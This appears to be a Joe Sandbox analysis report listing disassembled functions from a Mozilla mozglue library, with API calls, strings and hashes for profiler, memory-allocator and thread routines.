??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C94F8F9

Part of subcall function 6C916390: GetCurrentThreadId.KERNEL32 ref: 6C9163D0
Part of subcall function 6C916390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9163DF
Part of subcall function 6C916390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C91640E

ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94F93A
GetCurrentThreadId.KERNEL32 ref: 6C94F98A
GetCurrentThreadId.KERNEL32 ref: 6C94F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94F716

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

Part of subcall function 6C90B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C90B5E0

GetCurrentThreadId.KERNEL32 ref: 6C94F739
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94F746
GetCurrentThreadId.KERNEL32 ref: 6C94F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C98385B,00000002,?,?,?,?,?), ref: 6C94F829
free.MOZGLUE(?,?,00000000,?), ref: 6C94F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C94F866
free.MOZGLUE(?), ref: 6C94FA0C

Part of subcall function 6C915E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9155E1), ref: 6C915E8C
Part of subcall function 6C915E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C915E9D
Part of subcall function 6C915E60: GetCurrentThreadId.KERNEL32 ref: 6C915EAB
Part of subcall function 6C915E60: GetCurrentThreadId.KERNEL32 ref: 6C915EB8
Part of subcall function 6C915E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C915ECF
Part of subcall function 6C915E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C915F27
Part of subcall function 6C915E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C915F47
Part of subcall function 6C915E60: GetCurrentProcess.KERNEL32 ref: 6C915F53
Part of subcall function 6C915E60: GetCurrentThread.KERNEL32 ref: 6C915F5C
Part of subcall function 6C915E60: GetCurrentProcess.KERNEL32 ref: 6C915F66
Part of subcall function 6C915E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C915F7E

free.MOZGLUE(?), ref: 6C94F9C5
free.MOZGLUE(?), ref: 6C94F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C94F71F
" attempted to re-register as ", xrefs: 6C94F858
Thread , xrefs: 6C94F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C94F9A6

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: cc734f48dc24d97c1ef6d9b51e4deb189ed4e556fd7ea11217340f0fd9483fa6
Instruction ID: d76f4c74b1390002522cce5c3e99eba638594184bdc33d00734923d45a5a0c75
Opcode Fuzzy Hash: cc734f48dc24d97c1ef6d9b51e4deb189ed4e556fd7ea11217340f0fd9483fa6
Instruction Fuzzy Hash: F8811571A05701AFDB10DF24C840BAAB7B5FFE5308F55895DE8499BB51EB30D809CBA2

Function 6C94EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94EE60
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EE6D
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C94EEA5
CloseHandle.KERNEL32(?), ref: 6C94EEB4
free.MOZGLUE(00000000), ref: 6C94EEBB
GetCurrentThreadId.KERNEL32 ref: 6C94EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94EECF

Part of subcall function 6C94DE60: GetCurrentThreadId.KERNEL32 ref: 6C94DE73
Part of subcall function 6C94DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C914A68), ref: 6C94DE7B
Part of subcall function 6C94DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C914A68), ref: 6C94DEB8
Part of subcall function 6C94DE60: free.MOZGLUE(00000000,?,6C914A68), ref: 6C94DEFE
Part of subcall function 6C94DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C94DF38

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

GetCurrentThreadId.KERNEL32 ref: 6C94EF1E
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EF2B
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EF59
GetCurrentThreadId.KERNEL32 ref: 6C94EFB0
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EFBD
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EFE1
GetCurrentThreadId.KERNEL32 ref: 6C94EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94F000

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C94F02F

Part of subcall function 6C94F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C94F09B
Part of subcall function 6C94F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C94F0AC
Part of subcall function 6C94F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C94F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C94EED7
[I %d/%d] profiler_pause, xrefs: 6C94F008

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: de18f95254c125f9bbdd217f9a2c8486a1737e692c9a0d3243b7da871f7e39da
Instruction ID: 4408fdd36e76b5dce769f1b5955d4172797550fa058f1350687f63eb5dbab305
Opcode Fuzzy Hash: de18f95254c125f9bbdd217f9a2c8486a1737e692c9a0d3243b7da871f7e39da
Instruction Fuzzy Hash: C551A13560A6109FDB00AB74D808BA677B8EB5725CF348E56E91983F41D775C808C7E2

Function 6C93D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C98E804), ref: 6C93D047
GetSystemInfo.KERNEL32(?), ref: 6C93D093
__Init_thread_footer.LIBCMT ref: 6C93D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C98E810,00000040), ref: 6C93D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E7B8,00001388), ref: 6C93D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E744,00001388), ref: 6C93D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E784,00001388), ref: 6C93D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E7DC,00001388), ref: 6C93D1B1

Strings

MOZ_CRASH(), xrefs: 6C93D277
<jemalloc>, xrefs: 6C93D268, 6C93D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C93D322
MALLOC_OPTIONS, xrefs: 6C93D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C93D26D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 456ffa179b4c4d6f297f3d2c06c311afd74c158a5ab826d8828fde6d7ac83b35
Instruction ID: a61247a4243a89e789c2c4111306ba3ed1c28e31cb3c8d51f25403b707cb9e03
Opcode Fuzzy Hash: 456ffa179b4c4d6f297f3d2c06c311afd74c158a5ab826d8828fde6d7ac83b35
Instruction Fuzzy Hash: BC811275B1A2209BEF049F68C874B6937B8EB57B08F601D29E905D7B80D774D804CBD2

Function 6C915E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C915E9D

Part of subcall function 6C925B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9256EE,?,00000001), ref: 6C925B85
Part of subcall function 6C925B50: EnterCriticalSection.KERNEL32(6C98F688,?,?,?,6C9256EE,?,00000001), ref: 6C925B90
Part of subcall function 6C925B50: LeaveCriticalSection.KERNEL32(6C98F688,?,?,?,6C9256EE,?,00000001), ref: 6C925BD8
Part of subcall function 6C925B50: GetTickCount64.KERNEL32 ref: 6C925BE4

GetCurrentThreadId.KERNEL32 ref: 6C915EAB
GetCurrentThreadId.KERNEL32 ref: 6C915EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C915ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C916017

Part of subcall function 6C904310: moz_xmalloc.MOZGLUE(00000010,?,6C9042D2), ref: 6C90436A
Part of subcall function 6C904310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9042D2), ref: 6C904387

moz_xmalloc.MOZGLUE(00000004), ref: 6C915F47
GetCurrentProcess.KERNEL32 ref: 6C915F53
GetCurrentThread.KERNEL32 ref: 6C915F5C
GetCurrentProcess.KERNEL32 ref: 6C915F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C915F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C915F27

Part of subcall function 6C91CA10: mozalloc_abort.MOZGLUE(?), ref: 6C91CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9155E1), ref: 6C915E8C

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9155E1), ref: 6C91605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9155E1), ref: 6C9160CC

Strings

GeckoMain, xrefs: 6C915ECE, 6C916015

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: f2fcb3ddc770d9b64039fde7ce16e817308f5c11ba60fe5b2ace31f011140cb4
Instruction ID: 2d7db91636bde47782f73554b8bfbe758750b4215d9d26c63a95574a33a64aee
Opcode Fuzzy Hash: f2fcb3ddc770d9b64039fde7ce16e817308f5c11ba60fe5b2ace31f011140cb4
Instruction Fuzzy Hash: 9B71C0B1A097449FD700DF25C481A6ABBF0FF6A304F54496DE48A87F52D730E958CB92

Function 6C919590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9031C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C903217
Part of subcall function 6C9031C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C903236
Part of subcall function 6C9031C0: FreeLibrary.KERNEL32 ref: 6C90324B
Part of subcall function 6C9031C0: __Init_thread_footer.LIBCMT ref: 6C903260
Part of subcall function 6C9031C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C90327F
Part of subcall function 6C9031C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C90328E
Part of subcall function 6C9031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9032AB
Part of subcall function 6C9031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9032D1
Part of subcall function 6C9031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9032E5
Part of subcall function 6C9031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9032F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C919675
__Init_thread_footer.LIBCMT ref: 6C919697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C919707
__Init_thread_footer.LIBCMT ref: 6C91971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C919773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9197B7
FreeLibrary.KERNEL32 ref: 6C9197D0
FreeLibrary.KERNEL32 ref: 6C9197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C919824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C919670
MapViewOfFileNuma2, xrefs: 6C9197B1
ntdll.dll, xrefs: 6C9196E3
NtMapViewOfSection, xrefs: 6C919701

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0229695845820cfe520766c23d984a5fe3f3d5d1ab6ec0ce5aa3631058d099bc
Instruction ID: 8fd289781d11b16cceb6c69b6e687462235a56a6e973e2b9b1c02886c87048ce
Opcode Fuzzy Hash: 0229695845820cfe520766c23d984a5fe3f3d5d1ab6ec0ce5aa3631058d099bc
Instruction Fuzzy Hash: A461F57160A209DFEF00CF68D885B9A7BB4FF4B718F215929E91597B80D730D854CBA1

Function 6C917FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C918007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C91801D

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C91802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C91803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C91808D

Part of subcall function 6C91CA10: mozalloc_abort.MOZGLUE(?), ref: 6C91CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C91809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9180B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9180DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9180ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9180FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C91810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C918133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C918149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C918167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C91817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C918199

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 9cc3270d187e01fed3dd3a13b5d91d02cb676461da426efbaebe70676c4d2997
Instruction ID: 71585fa258dea2227ed9f7f1e4a94b844d53ed6c13b4af2a77df77b09f79d181
Opcode Fuzzy Hash: 9cc3270d187e01fed3dd3a13b5d91d02cb676461da426efbaebe70676c4d2997
Instruction Fuzzy Hash: 1951C6B2E04218ABDB00DFA5DC819EFB7B9EF69224F250125E815E7741E730DD04CBA1

Function 6C966660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C98F618), ref: 6C966694
GetThreadId.KERNEL32(?), ref: 6C9666B1
GetCurrentThreadId.KERNEL32 ref: 6C9666B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9666E1
EnterCriticalSection.KERNEL32(6C98F618), ref: 6C966734
GetCurrentProcess.KERNEL32 ref: 6C96673A
LeaveCriticalSection.KERNEL32(6C98F618), ref: 6C96676C
GetCurrentThread.KERNEL32 ref: 6C9667FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C966868
RtlCaptureContext.NTDLL ref: 6C96687F

Strings

WalkStack64, xrefs: 6C966890

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: c2264e983adc6d68dcb5f3658631e440b8e245a5b4bf50d00dee7abd062a1938
Instruction ID: f513e14617865ce7c7861c2dfef3786b865959b346a90db0dc4ade7031ad105f
Opcode Fuzzy Hash: c2264e983adc6d68dcb5f3658631e440b8e245a5b4bf50d00dee7abd062a1938
Instruction Fuzzy Hash: 7E519D71A0A341AFE711CF26C844B5ABBF4FF8A714F14492DF59997A80D770E908CB92

Function 6C94DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94DE73
GetCurrentThreadId.KERNEL32 ref: 6C94DF7D
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94DF8A
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94DFC9
GetCurrentThreadId.KERNEL32 ref: 6C94DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C914A68), ref: 6C94DE7B

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C914A68), ref: 6C94DEB8
free.MOZGLUE(00000000,?,6C914A68), ref: 6C94DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C94DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C94DE83
<none>, xrefs: 6C94DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C94E00E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: a5380b8a912653ae8b66ffcb51c4da98d59082dca0c37d4ebc54f5ae533d8c7e
Instruction ID: 2b607cb10467cc4432e43fb464505b49de4e4be510564488bf2fcf1c5fa4d1d5
Opcode Fuzzy Hash: a5380b8a912653ae8b66ffcb51c4da98d59082dca0c37d4ebc54f5ae533d8c7e
Instruction Fuzzy Hash: 7D41F6367066109FDB20AB64D8087AA7779EB9730CF644856E90997F41C731D815CBE1

Function 6C95D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C95D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C95D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C95D52A
GetCurrentThreadId.KERNEL32 ref: 6C95D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C95D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C95D55F
